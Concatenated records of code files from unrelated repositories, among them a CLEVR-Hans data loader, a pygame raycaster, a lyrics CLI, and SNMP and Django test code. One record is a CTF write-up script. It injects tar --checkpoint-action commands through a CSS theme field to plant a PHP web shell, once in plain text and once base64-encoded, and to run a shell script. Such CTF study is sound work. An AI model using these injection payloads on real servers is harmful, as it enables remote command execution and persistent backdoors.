obj['color'] == 'blue') or \\\n                            (obj['shape'] == 'sphere' and obj['size'] == 'small' and obj['color'] == 'yellow'):\n                        rle = obj['mask']\n                        mask += coco_mask.decode(rle)\n\n        return torch.tensor(mask) * 255 # for PIL\n\n    def get_table_expl_mask(self, objects, class_id):\n        objects = objects.T\n\n        mask = torch.zeros(objects.shape)\n\n        if self.conf_vers == 'CLEVR-Hans3':\n            for i, obj in enumerate(objects):\n                if class_id == 0:\n                    # if cube and large\n                    if (obj[3:8] == torch.tensor([0, 1, 0, 1, 0])).all():\n                        mask[i, 3:8] = torch.tensor([0, 1, 0, 1, 0])\n                    # or cylinder and large\n                    elif (obj[3:8] == torch.tensor([0, 0, 1, 1, 0])).all():\n                        mask[i, 3:8] = torch.tensor([0, 0, 1, 1, 0])\n                elif class_id == 1:\n                    # if cube, small, metal\n                    if (obj[3:10] == torch.tensor([0, 1, 0, 0, 1, 0, 1])).all():\n                        mask[i, 3:10] = torch.tensor([0, 1, 0, 0, 1, 0, 1])\n                    # or sphere, small\n                    elif (obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all():\n                        mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n                elif class_id == 2:\n                    # if sphere large blue\n                    if ((obj[3:8] == torch.tensor([1, 0, 0, 1, 0])).all()\n                        and (obj[10:] == torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])).all()).all():\n                        mask[i, 3:8] = torch.tensor([1, 0, 0, 1, 0])\n                        mask[i, 10:] = torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])\n                    # or sphere small yellow\n                    elif ((obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all()\n                          and (obj[10:] == torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])).all()).all():\n                        mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n                        mask[i, 10:] = torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])\n        elif self.conf_vers == 'CLEVR-Hans7':\n            for i, obj in enumerate(objects):\n                if class_id == 0:\n                    # if cube and large\n                    if (obj[3:8] == torch.tensor([0, 1, 0, 1, 0])).all():\n                        mask[i, 3:8] = torch.tensor([0, 1, 0, 1, 0])\n                    # or cylinder and large\n                    elif (obj[3:8] == torch.tensor([0, 0, 1, 1, 0])).all():\n                        mask[i, 3:8] = torch.tensor([0, 0, 1, 1, 0])\n                elif class_id == 1:\n                    # if cube, small, metal\n                    if (obj[3:10] == torch.tensor([0, 1, 0, 0, 1, 0, 1])).all():\n                        mask[i, 3:10] = torch.tensor([0, 1, 0, 0, 1, 0, 1])\n                    # or sphere, small\n                    elif (obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all():\n                        mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n                elif class_id == 2:\n                    # get maximal y coord of red objects\n                    y_red = objects[objects[:, 14] == 1, 1]\n                    y_cyan = objects[objects[:, 10] == 1, 1]\n                    # if cyan object and y coord greater than that of at least 2 red objs, i.e. in front of red objs\n                    if ((obj[10:] == torch.tensor([1, 0, 0, 0, 0, 0, 0, 0])).all()\n                        and (sum(obj[1] > y_red) >= 2)).all():\n                        mask[i, 10:] = torch.tensor([1, 0, 0, 0, 0, 0, 0, 0])\n                        mask[i, 1] = torch.tensor([1])\n                    # or red obj\n                    elif ((obj[10:] == torch.tensor([0, 0, 0, 0, 1, 0, 0, 0])).all()\n                          and (sum(obj[1] < y_cyan) >= 1)).all():\n                        mask[i, 10:] = torch.tensor([0, 0, 0, 0, 1, 0, 0, 0])\n                        mask[i, 1] = torch.tensor([1])\n                elif class_id == 3:\n                    # if small and brown\n                    if ((obj[6:8] == torch.tensor([0, 1])).all()\n                        and (obj[10:] == torch.tensor([0, 0, 0, 0, 0, 0, 0, 1])).all()).all():\n                        mask[i, 6:8] = torch.tensor([0, 1])\n                        mask[i, 10:] = torch.tensor([0, 0, 0, 0, 0, 0, 0, 1])\n                    # if small and green\n                    elif ((obj[6:8] == torch.tensor([0, 1])).all()\n                          and (obj[10:] == torch.tensor([0, 0, 0, 0, 0, 1, 0, 0])).all()).all():\n                        mask[i, 6:8] = torch.tensor([0, 1])\n                        mask[i, 10:] = torch.tensor([0, 0, 0, 0, 0, 1, 0, 0])\n                    # if small and purple\n                    elif ((obj[6:8] == torch.tensor([0, 1])).all()\n                          and (obj[10:] == torch.tensor([0, 0, 0, 1, 0, 0, 0, 0])).all()).all():\n                        mask[i, 6:8] = torch.tensor([0, 1])\n                        mask[i, 10:] = torch.tensor([0, 0, 0, 1, 0, 0, 0, 0])\n                    # elif small\n                    elif (obj[6:8] == torch.tensor([0, 1])).all():\n                        mask[i, 6:8] = torch.tensor([0, 1])\n                elif class_id == 4:\n                    # if at least 3 metal cylinders on right side\n                    if sum((objects[:, 5] == 1) & (objects[:, 9] == 1) & (objects[:, 0] > 0.5)) >= 3:\n                        # if sphere and on left side\n                        if ((obj[3:6] == torch.tensor([1, 0, 0])).all()\n                            and obj[0] < 0.5).all():\n                            mask[i, 3:6] = torch.tensor([1, 0, 0])\n                            mask[i, 0] = torch.tensor([1])\n                        # if metal cyl. and on right side\n                        elif ((obj[3:6] == torch.tensor([0, 0, 1])).all()\n                              and (obj[8:10] == torch.tensor([0, 1])).all()\n                              and obj[0] > 0.5).all():\n                            mask[i, 3:6] = torch.tensor([0, 0, 1])\n                            mask[i, 8:10] = torch.tensor([0, 1])\n                            mask[i, 0] = torch.tensor([1])\n                    # if sphere and on left side\n                    elif ((obj[3:6] == torch.tensor([1, 0, 0])).all()\n                          and obj[0] < 0.5).all():\n                        mask[i, 3:6] = torch.tensor([1, 0, 0])\n                        mask[i, 0] = torch.tensor([1])\n                elif class_id == 5:\n                    # if metal cylinder and on right side\n                    if ((obj[3:6] == torch.tensor([0, 0, 1])).all()\n                        and (obj[8:10] == torch.tensor([0, 1])).all()\n                        and obj[0] > 0.5).all():\n                        mask[i, 3:6] = torch.tensor([0, 0, 1])\n                        mask[i, 8:10] = torch.tensor([0, 1])\n                        mask[i, 0] = torch.tensor([1])\n                elif class_id == 6:\n                    # if sphere large blue\n                    if ((obj[3:8] == torch.tensor([1, 0, 0, 1, 0])).all()\n                        and (obj[10:] == torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])).all()).all():\n                        mask[i, 3:8] = torch.tensor([1, 0, 0, 1, 0])\n                        mask[i, 10:] = torch.tensor([0, 1, 0, 0, 0, 0, 0, 0])\n                    # or sphere small yellow\n                    elif ((obj[3:8] == torch.tensor([1, 0, 0, 0, 1])).all()\n                          and (obj[10:] == torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])).all()).all():\n                        mask[i, 3:8] = torch.tensor([1, 0, 0, 0, 1])\n                        mask[i, 10:] = torch.tensor([0, 0, 1, 0, 0, 0, 0, 0])\n\n        return mask\n\n    @property\n    def images_folder(self):\n        return os.path.join(self.base_path, self.split, \"images\")\n\n    @property\n    def scenes_path(self):\n        return os.path.join(\n            self.base_path, self.split, \"CLEVR_HANS_scenes_{}.json\".format(self.split)\n        )\n\n    def __getitem__(self, item):\n        image_id = self.img_ids[item]\n\n        image = pil_loader(self.fnames[item])\n        # TODO: sofar only dummy\n        img_expl = torch.tensor([0])\n\n        if self.transform is not None:\n            image = self.transform(image) # in range [0., 1.]\n            image = (image - 0.5) * 2.0  # Rescale to [-1, 1].\n            # img_expl = self.transform_img_expl(img_expl)\n\n        objects = self.scenes[item]\n        table_expl = self.gt_table_expls[item]\n        img_class_id = self.img_class_ids[item]\n\n        # remove objects presence indicator from gt table\n        objects = objects[:, 1:]\n\n        return image, objects, img_class_id, image_id, img_expl, table_expl\n\n    def __len__(self):\n        return len(self.scenes)\n\n","repo_name":"boyettelk/Intentional_Forgetting","sub_path":"NeSyXIL-Intentional_Forgetting/NeSyConceptLearner/src/data_clevr_hans.py","file_name":"data_clevr_hans.py","file_ext":"py","file_size_in_byte":17060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17587812373","text":"from flask import Flask\nimport base64\nimport requests\nimport json\n\n\n\napp = Flask(__name__)\ncookies = { 'PHPSESSID' : '2iqtg6rmf8330gap6icookvodd' }\nuser_md5 = \"5d3437151a39b5a13e45af2e71cd1818\"\n\n\n\ndef view():\n    #read file information - view.php\n    url_view = 'https://pasteweb.ctf.zoolab.org/view.php'\n    r = requests.get(url_view, cookies=cookies)  \n    response = r.content.decode('utf-8')\n    string_start = response.find(';base64,')\n    string_end = response.find('\");\\n')\n    info = response[string_start+8:string_end]\n    #print(f\"[*] Origin Value :  {info}\")\n    print(f\"[*] Return Value : \",base64.b64decode(info) )\n\n    return base64.b64decode(info)\n\n\n\ndef editCSS(name):\n    url_edit = 'https://pasteweb.ctf.zoolab.org/editcss.php'\n    value = { 'less' : \"\" , 'theme' : name}\n    r = requests.post(url_edit, data=value, cookies=cookies)  \n\nif __name__ == '__main__':\n    editCSS(\"--checkpoint-action=exec=echo hi_hi1 > hi.txt ;.css\")\n\n\n\n    editCSS(\"--checkpoint-action=exec=echo '<?php system(\\$_GET[cmd]); ?>'> backdoor.php ;.css\")\n    \n\n\n\n    editCSS(\"--checkpoint-action=exec=sh shell.sh ;.css\")\n\n\n    editCSS(\"--checkpoint-action=exec=echo 'PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=='| base64 -d > backdoor.php ;.css\") \n","repo_name":"Richard-YH/CTF","sub_path":"SP2022/Web/HW_pasteweb(flag3)/Writeup/Writeup.py","file_name":"Writeup.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"36138259499","text":"#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib, matplotlib.pyplot as plt\nimport scipy.interpolate as interpolate\nimport scipy.integrate as integrate\n\nimport cloudy_plots as clplt\n\nif __name__ == '__main__':\n    fn_base = 'grid-density'\n    cp = clplt.CloudyPlotter(fn_base)\n    \n    # Open the output file to get mean ionisation fractions\n    out_file = open(fn_base + '.out')\n    lines = out_file.readlines()\n    # find lines we care about\n    matches = filter(lambda l: \"Log10 Mean Ionisation (over radius)\" in l, lines)\n    # split into words\n    matches_exploded = [l.split() for l in matches]\n    # extract the strings corresponding to the numerical values\n    number_strings = [l[1:4] for l in matches_exploded]\n    # Cloudy fails to leave whitespace between numbers sometimes\n    # so need to muck around to separate them\n    numbers = []\n    for ls in number_strings:\n        hi = ls[0]\n        hii = ''\n        if '(H2)' in ls[2]: # the space is missing, so the data looks like '-2.644-11.528'\n            hiibeg = ls[1].find('-')\n            hiiend = ls[1].rfind('-')\n            assert(hiibeg != -1 and hiiend != -1)\n            hii = ls[1][hiibeg:hiiend]\n        else:\n            hii = ls[1]\n        numbers.append([10**(float(hi)), 10**(float(hii))]) # values stored as log10\n    \n    # Ordinary averages aren't very meaningful, because in linear space X_HI approaches 1\n    # for the vast majority of the x range --> mean value is near 1\n    # So instead I'm taking the average over log(x) space\n    myavgs = []\n    for idx in range(cp.nfiles()):\n        # interpolate over the data\n        ionfracs = cp.get_col(idx, 'HI')\n        depth = cp.get_col(idx, 'depth')\n        func = interpolate.interp1d(depth, ionfracs,\n                                    bounds_error=False,\n                                    fill_value=(ionfracs[0], ionfracs[-1]))\n        # sample over full range [0, 10**30]\n        xs = np.logspace(0, 30, 10000)\n        ys = func(xs)\n        # integrate numerically\n        avg = integrate.simps(ys, np.log10(xs)) / 30\n        myavgs.append(avg)\n\n    #idx = 0\n    #ds = data_ovr[idx]\n    #ionfracs = get_col(ds, idx_xhi)\n    #func = interpolate.interp1d(get_col(ds, idx_depth),\n    #                            ionfracs,\n    #                            bounds_error=False,\n    #                            fill_value=(ionfracs[0], ionfracs[-1]))\n    #xs = np.logspace(0, 30, 10000)\n    #ys = func(xs)\n    #plt.figure()\n    #ax = plt.gca()\n    #ax.set_xscale('log')\n    #plt.scatter(xs, ys, s=2)\n    #plt.plot(get_col(ds, idx_depth), get_col(ds, idx_xhi), color=colours[0], marker='.', linestyle='')\n\n    # Plot of ionisation fraction as a function of H density\n    plt.figure()\n    ax = plt.gca()\n    ax.set_title('$\\overline{x}_\\mathrm{HI}$ as a function of $n_H$')\n    ax.set_xlabel('$\\log(n_H)$')\n    ax.set_ylabel('$\\overline{x}_\\mathrm{HI}$')\n    hden = [cp.get_grid_param(idx, 'hden') for idx in range(cp.nfiles())]\n    plt.plot(hden, myavgs, label='My \"log x\" averages')\n    plt.plot(hden, [n[0] for n in numbers], label='Cloudy averages')\n    plt.legend()\n\n    plt.show()\n","repo_name":"calvin-sykes/mmas-project","sub_path":"cloudy-scripts/grid-density/plot-mean-ionisation.py","file_name":"plot-mean-ionisation.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27292560336","text":"# Simple Kot Models\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import odeint\nfrom scipy import integrate\n#import os\n\n#os.chdir('C:\\Users\\ed\\Google Drive\\MarineEco')\n \n#=======================================================\ndef KotDF1(par1,initial_cond,start_t,end_t,incr):\n     #-time-grid-----------------------------------\n     t  = np.linspace(start_t, end_t, num = incr)\n     #differential-eq-system----------------------\n     def funct(x,t):\n        D1, si, mu1, mu2, y1, y2, k1, k2, epsilon1, T1 = par1\n        omega1 = 2*np.pi/T1\n        xp1 = D1*( si*(1 + epsilon1*np.sin(omega1*t))-x[0])-mu1*x[0]*x[1]/y1/(k1+x[0])\n        xp2 = mu1*x[0]*x[1]/(k1+x[0]) - D1*x[1] - mu2*x[1]*x[2]/y2/(k2+x[1])\n        xp3 = mu2*x[1]*x[2]/(k2+x[1]) - D1*x[2]\n        return [xp1, xp2, xp3]\n     #integrate------------------------------------\n     ds = integrate.odeint(funct, initial_cond, t)\n     return (t, ds[:,0], ds[:,1], ds[:,2])\n#=======================================================\n\n\nD1 = 0.1        # Dilution rate 1/hour\nsi = 115        # units of si are mg/l\n# maximum specific growth rate of prey and preditor (1/hour)\nmu1 = 0.5       # prey\nmu2 = 0.2       # preditor\n# yields\ny1 = 0.4        # yield of prey per unit mass of substrate\ny2 = 0.6        # biomass yield of predator per unit mass of prey\n# half-saturation (Michaelis-Menton)\nk1 = 8          # prey\nk2 = 9          # predator\n# Other variables\nepsilon1 = 0.6\nT1 = 15\n\n# Create containers\nx1 = np.zeros(shape=(101))\nx2 = np.zeros(shape=(101))\nx3 = np.zeros(shape=(101))\nt1 = np.zeros(shape=(101))\n\n# Initial Conditions\nx0 = [0.25, 0.5, 0.5]\n\n# Pack the parameters together\npar1 = (D1, si, mu1, mu2, y1, y2, k1, k2, epsilon1, T1)\nt1[:], x1[:], x2[:], x3[:] = KotDF1( par1, x0, 0, 15., 101 )\n \nplt.figure()\nplt.plot(t1, x1,'-b', t1 , x2,'-r')\nplt.ylim( [0,350])\n#plt.legend(('Foxes', 'Rabbits'),'upper center',ncol=2)\ntitle1 = 'It works???'\nplt.title(title1)\n ","repo_name":"EdBoone/MarineEco","sub_path":"Kot_da_comp.py","file_name":"Kot_da_comp.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"198293924","text":"import math\nimport pygame\nimport math as m\n\npygame.init()\n# GLOBAL VARIABLES\n\nscreen_height = 480 * 1.5\nscreen_width = 2 * screen_height\nscreen = pygame.display.set_mode((screen_width, screen_height))\npygame.display.set_caption('Raycasting')\nclock = pygame.time.Clock()\nfps = 30\nfov = math.pi /3\nhalf_fov = fov / 2\nplayer_angle = m.pi\ncasted_rays = 60\nstep_angle = fov / casted_rays\nscale = screen_width * 0.5 / casted_rays\nmap_size = 32\ntile_size = screen_width * 0.5 / map_size\nmax_depth = int(map_size * tile_size) + 150\nplayer_x = int(screen_height * 0.5)\nplayer_y = int(screen_height * 0.5)\nangle_gunSway = 0\n# colours\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\ngrey = (200, 200, 200)\ngrey_light = (100, 100, 100)\nred = (255, 0, 0)\ngreen = (0, 255, 0)\nblue = (0, 0, 255)\nyellow = (255, 255, 0)\n# TEXT FONT\nfont = pygame.font.SysFont('Monospace Regular', 30)\n# GUN\ngun = pygame.image.load('gun.webp')\ngunn = pygame.transform.scale(gun, (700, 350))\n\nmap = (\n    '################################'\n    '#                              #'\n    '#                          #   #'\n    '#                          #   #'\n    '#        #######           #   #'\n    '#        #     #           #   #'\n    '#        #     #           #   #'\n    '#        #     #           #   #'\n    '#        #     #           #   #'\n    '#                          #   #'\n    '#                              #'\n    '#                          #   #'\n    '#        ##          #     #   #'\n    '#                    #     #   #'\n    '#                    #     #   #'\n    '#                    #         #'\n    '#    #######         #     #   #'\n    '#                          #   #'\n    '#              ##          #   #'\n    '#              ##          #   #'\n    '#                     #        #'\n    '#           ##        #    #   #'\n    '#                          #   #'\n    '# #                        #   #'\n    '# #                        #   #'\n    '# #      ###                   #'\n    '# #      ###       ##      #   #'\n    '# #                        #   #'\n    '# #                        #   #'\n    '# ######                   #   #'\n    '#                              #'\n    '################################'\n\n)\n\n# DRAW MAP #\ndef draw_map():\n    for row in range(32):\n        for col in range(32):\n            square = row * map_size + col\n            pygame.draw.rect(screen, grey if map[square] == '#' else (100, 100, 100),(col * tile_size, row * tile_size, tile_size - 1, tile_size - 1))\n\n    pygame.draw.circle(screen, red, (player_x, player_y), 2)\n    pygame.draw.line(screen, green, (player_x, player_y),\n                     (player_x - m.sin(player_angle - half_fov) * 10,\n                      player_y + m.cos(player_angle - half_fov) * 10))\n    pygame.draw.line(screen, green, (player_x, player_y),\n                     (player_x - m.sin(player_angle + half_fov) * 10,\n                      player_y + m.cos(player_angle + half_fov) * 10))\n\n# RAYCASTING ALGORITHM\ndef cast_rays():\n    start_angle = player_angle - half_fov\n\n    for ray in range(casted_rays):\n        for depth in range(max_depth):\n            target_x = player_x - m.sin(start_angle) * depth\n            target_y = player_y + m.cos(start_angle) * depth\n            col = int(target_x / tile_size)\n            row = int(target_y / tile_size)\n            square = row * map_size + col\n\n            if map[square] == '#':\n                # pygame.draw.rect(screen,green,(col * tile_size,row * tile_size,tile_size - 1,tile_size -1))\n                colour = 255 / (1 + depth * depth * 0.0001)\n\n                depth *= m.cos(player_angle - start_angle)\n\n                wall_height = 22000 / (depth + 0.1)\n\n                if wall_height > screen_height:\n                    wall_height = screen_height\n                # draw 3d\n                pygame.draw.rect(screen, (colour, colour, colour), (screen_height + ray * scale,\n                                                                    (screen_height / 2) - wall_height / 2,\n                                                                    scale, wall_height))\n                break\n            pygame.draw.line(screen, green, (player_x, player_y), (target_x, target_y), 1)\n\n        start_angle += step_angle\n\n\nforward = True\n# game loop\nrun = True\nwhile run:\n    clock.tick(fps)\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            run = False\n    col = int(player_x / tile_size)\n    row = int(player_y / tile_size)\n    square = row * map_size + col\n\n    if map[square] == '#':\n        if forward:\n            player_x -= (-m.sin(player_angle)) * 4\n            player_y -= (m.cos(player_angle)) * 4\n        else:\n            player_x += (-m.sin(player_angle)) * 4\n            player_y += (m.cos(player_angle)) * 4\n    key = pygame.key.get_pressed()\n    if key[pygame.K_a]:\n        player_angle -= 0.1\n    if key[pygame.K_d]:\n        player_angle += 0.1\n    if key[pygame.K_w]:\n        forward = True\n        player_x += (-m.sin(player_angle)) * 4\n        player_y += (m.cos(player_angle)) * 4\n    if key[pygame.K_s]:\n        forward = False\n        player_x -= (-m.sin(player_angle)) * 4\n        player_y -= (m.cos(player_angle)) * 4\n\n\n    # Floor and ceiling on right side\n    pygame.draw.rect(screen, grey_light, (screen_width * 0.5, screen_height * 0.5, screen_width, screen_height))\n    pygame.draw.rect(screen, grey, (screen_width * 0.5, 0, screen_width, screen_height * 0.5))\n\n    screen.fill(white, (0, 0, screen_width * 0.5, screen_height))\n\n    draw_map()\n    cast_rays()\n    fps_count = str(int(clock.get_fps()))\n    fps_display = font.render(fps_count, True, blue)\n    screen.blit(fps_display, (screen_width - 30, 0))\n    screen.blit(gunn, (880 + (m.sin(angle_gunSway)) * 10, 400 + (m.sin(angle_gunSway)*m.cos(angle_gunSway)) * 10))\n    angle_gunSway += 0.09\n    pygame.display.update()\n","repo_name":"Stylianos-P/Raycasting","sub_path":"raycaster.py","file_name":"raycaster.py","file_ext":"py","file_size_in_byte":5867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8403993825","text":"#!/usr/bin/env python\n\nimport asyncio\nimport json\nimport textwrap\nfrom argparse import ArgumentParser, Namespace\nfrom pathlib import Path\nfrom typing import Any\n\nimport lyricsfinder\n\n_DEFAULT = object()\n\nconfig_location = Path.home() / \".lyricsfinder\"\n_config = None\n\n\ndef load_config() -> None:\n    global _config\n\n    if not config_location.is_file():\n        raise FileNotFoundError(\"No .lyricsfinder file found in home directory!\")\n\n    try:\n        data = json.loads(config_location.read_text(\"utf-8\"))\n    except json.JSONDecodeError:\n        config_location.unlink()\n        raise TypeError(\"Couldn't parse lyricsfinder config...\")\n    else:\n        if not isinstance(data, dict):\n            raise TypeError(\"Wrong data type stored in config file\")\n\n        _config = data\n\n\ndef save_config():\n    config_location.write_text(json.dumps(_config), \"utf-8\")\n\n\ndef config_get(key: str, default=_DEFAULT) -> Any:\n    if not _config:\n        try:\n            load_config()\n        except FileNotFoundError:\n            if default is _DEFAULT:\n                raise\n            return default\n\n    value = _config.get(key, default)\n    if value is _DEFAULT:\n        raise KeyError(f\"Config doesn't have key {key}\")\n    return value\n\n\ndef config_set(key: str, value: Any, *, flush=True) -> None:\n    global _config\n\n    if not _config:\n        try:\n            load_config()\n        except FileNotFoundError:\n            _config = {}\n\n    _config[key] = value\n    if flush:\n        save_config()\n\n\ndef print_lyrics(lyrics: lyricsfinder.Lyrics) -> None:\n    if not lyrics:\n        return\n\n    title = lyrics.title or \"Unknown\"\n    artist = lyrics.artist or \"Unknown\"\n\n    header = f\"{title} by {artist}\"\n    if lyrics.release_date:\n        header += f\" ({lyrics.release_date.year})\"\n\n    width = max(len(header), 40)\n    header = header.center(width)\n    line = width * \"=\"\n\n    lyrics_text = textwrap.fill(lyrics.lyrics, width, replace_whitespace=False, drop_whitespace=False)\n\n    text = f\"{header}\\n\" \\\n           f\"{line}\\n\" \\\n           f\"{lyrics_text}\\n\" \\\n           f\"\\n\" \\\n           f\"from {lyrics.origin.source_name}\"\n\n    print(text)\n\n\nasync def _search_first(query: str, api_key: str) -> lyricsfinder.Lyrics:\n    return await lyricsfinder.search_lyrics(query, api_key=api_key)\n\n\ndef search(args: Namespace) -> None:\n    api_key = args.token\n    if api_key is None:\n        api_key = config_get(\"google_api_key\", None)\n        if not api_key:\n            raise ValueError(\"No API key specified, and none saved!\")\n    else:\n        config_set(\"google_api_key\", api_key)\n\n    query = \" \".join(args.query)\n    lyrics = asyncio.run(_search_first(query, api_key=api_key))\n    print_lyrics(lyrics)\n\n\ndef extract(args: Namespace) -> None:\n    lyrics = asyncio.run(lyricsfinder.extract_lyrics(args.url))\n    print_lyrics(lyrics)\n\n\ndef main(*args) -> None:\n    args = args or None\n\n    parser = ArgumentParser(\"lyricsfinder\", description=\"Find the lyrics you've always wanted to find\")\n    subparsers = parser.add_subparsers()\n\n    search_parser = subparsers.add_parser(\"search\")\n    search_parser.set_defaults(func=search)\n    search_parser.add_argument(\"query\", help=\"Query to search for\", nargs=\"+\")\n    search_parser.add_argument(\"-t\", \"--token\", help=\"Google Search API key\")\n\n    extract_parser = subparsers.add_parser(\"extract\")\n    extract_parser.set_defaults(func=extract)\n    extract_parser.add_argument(\"url\", help=\"Url to extract lyrics from\")\n\n    args = parser.parse_args(args)\n\n    if hasattr(args, \"func\"):\n        args.func(args)\n    else:\n        parser.print_help()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"gieseladev/LyricsFinder","sub_path":"lyricsfinder/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"29031666937","text":"\nfrom django.conf import settings\nfrom ujson import loads\n\nfrom intranet.wiki.tests.wiki_tests.common.unittest_base import BaseApiTestCase\n\n\nclass APIValidateTagTest(BaseApiTestCase):\n    \"\"\"\n    Тесты для TagValidationView.\n    \"\"\"\n\n    def setUp(self):\n        super(APIValidateTagTest, self).setUp()\n        self.setUsers()\n        self.client.login('chapson')\n\n    def _test(self, tag):\n        request_url = '{api_url}/.validate_tag?tag={tag}'.format(api_url=self.api_url, tag=tag)\n        response = self.client.get(request_url)\n\n        self.assertEqual(200, response.status_code)\n\n        parsed_data = loads(response.content)['data']\n        return parsed_data['success']\n\n    def test_valid(self):\n        assert_queries = 44 if not settings.WIKI_CODE == 'wiki' else 2\n        with self.assertNumQueries(assert_queries):\n            self.assertTrue(self._test('valid:tag/tag-valid') is True)\n\n    def test_invalid(self):\n        request_url = '{api_url}/.validate_tag?tag={tag}'.format(api_url=self.api_url, tag='invalid tag/tag$invalid#')\n        assert_queries = 44 if not settings.WIKI_CODE == 'wiki' else 2\n        with self.assertNumQueries(assert_queries):\n            response = self.client.get(request_url)\n        self.assertEqual(409, response.status_code)\n\n    def test_without_tag_parameter(self):\n        request_url = '{api_url}/.validate_tag'.format(api_url=self.api_url)\n        assert_queries = 44 if not settings.WIKI_CODE == 'wiki' else 2\n        with self.assertNumQueries(assert_queries):\n            response = self.client.get(request_url)\n        self.assertEqual(409, response.status_code)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/wiki_tests/unit_unittest/api_frontend/test_validate.py","file_name":"test_validate.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43476937435","text":"import lib\n\n\ndef parse_v3(secret):\n    config = {\n      'sec_level': 'authPriv',\n      'version': 3\n    }\n    if 'aes' in secret['privtype'].lower():\n        config['priv_proto'] = 'AES'\n    else:\n        config['priv_proto'] = 'DES'\n    if 'sha' in secret['authtype'].lower():\n        config['auth_proto'] = 'SHA'\n    else:\n        config['auth_proto'] = 'MD5'\n    config['priv'] = '\"' + secret['priv'].replace('\"', '\\\\\"') + '\"'\n    config['auth'] = '\"' + secret['auth'].replace('\"', '\\\\\"') + '\"'\n    config['user'] = '\"' + secret['user'].replace('\"', '\\\\\"') + '\"'\n    return config\n\n\ndef parse_v2(secret):\n    config = {\n      'version': 2,\n      'community': '\"' + secret['ro'].replace('\"', '\\\\\"') + '\"',\n    }\n    return config\n\n\ndef generate(host):\n    \"\"\"Args is the layers we should probe.\"\"\"\n    domain = lib.get_domain(host)\n    layers = lib.get_layers(domain)\n    if domain == 'EVENT':\n        mount = '%s-mgmt' % lib.get_current_event()\n    else:\n        mount = 'mgmt'\n\n    info = {}\n    info['layers'] = {}\n    # Only configure layers that we should probe\n    for layer in layers:\n        config = {\n            'port': 161,\n        }\n        secret = lib.read_secret('%s/%s' % (mount, 'snmpv3:%s' % layer))\n        if secret:\n            try:\n                config.update(parse_v3(secret))\n            except KeyError:\n                # F-up, invalid layer config\n                continue\n        else:\n            secret = lib.read_secret('%s/%s' % (mount, 'snmpv2:%s' % layer))\n            if not secret:\n                # F-up, no layer config\n                continue\n            config.update(parse_v2(secret))\n        info['layers'][layer] = config\n    return {'snmpexporter': info}\n\n# vim: ts=4: sts=4: sw=4: expandtab\n","repo_name":"dhtech/puppet-modules","sub_path":"modules/snmpexporter.py","file_name":"snmpexporter.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"2287006288","text":"#https://www.acmicpc.net/problem/13913\nfrom collections import deque\nN,K=map(int, input().split())\ndx=[-1,1,2]\n\ndef bfs():\n    global N,K,dx\n    dq=deque()\n    #5, 5 1, 5 1 3, 5 1 3 7 처럼 중복되는 내용의 문자열이 계속해서 dq에 저장될 수 있다. 그래서 메모리 초과가 발생하는듯?\n    dq.append([N,str(N)+' ',0])\n    while dq:\n        curX, curRoute, curCount=dq.popleft()\n        if curX==K:\n            print(curCount)\n            print(curRoute)\n            return\n        for i in range(len(dx)):\n            if i<2:\n                newX=curX+dx[i]\n            else:\n                newX=curX*dx[i]\n            if newX<0 or newX>=100000:\n                continue\n            dq.append([newX, curRoute+str(newX)+' ', curCount+1])\n\nbfs()","repo_name":"Myunwoo/algorithm_study","sub_path":"20220101fail.py","file_name":"20220101fail.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
